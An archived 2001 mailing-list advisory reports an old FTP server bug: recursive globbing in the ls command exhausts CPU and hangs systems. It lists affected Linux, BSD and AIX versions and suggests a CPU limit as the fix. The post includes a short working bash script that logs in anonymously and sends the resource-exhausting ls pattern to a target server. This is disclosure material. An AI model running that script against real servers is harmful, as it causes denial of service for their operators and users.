Multiple-Vendor-FTP-Vuln. (old?)

From: Enrico Kern (IphantomIat_private)
Date: Mon Aug 20 2001 - 06:20:35 PDT

  • Next message: Walter Hop: "Re[2]: HTML email "bug", of sorts." 

    Hi,

i tested an old proftpd bug (ls /../*/../*/../*/../*/../*/../*/../*) on =
many new Linux-Dist.. When a user logged in in ftp and type
the ls command the in.ftpd takes over 90 percent cpu-usage and execute =
the command 2 or 3x than the full system hang up. it also works in =
console. I wonder that is not fixed. THIS BUG IS OLD. POSTED ON BUGTRAQ  =
in march 01, but
it still works so i post it again.

affected:

RedHat Linux 7.x
Linux Mandrake 8.0
SuSE Linux 7.2
FreeBSD 4.3
AiX V 4.3
other?


Not vuln.:

latest Wu-Ftpd
Windows FTP-Server


Exploit:

#!/bin/bash=20
ftp -n FTP-SERVER<<\end=20
quot user anonymous
bin
quot pass shitoldat_private
ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
bye=20
end=20

Fix:

set cpu-limit for your anonymous user.


-------------------------
Enrico Kern
www.h07.org
_______________________________________________________________________
1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
IhrNameat_private, 8MB Speicher, Verschluesselung - http://freemail.web.de

    This archive was generated by hypermail 2b30 : Mon Aug 20 2001 - 10:28:56 PDT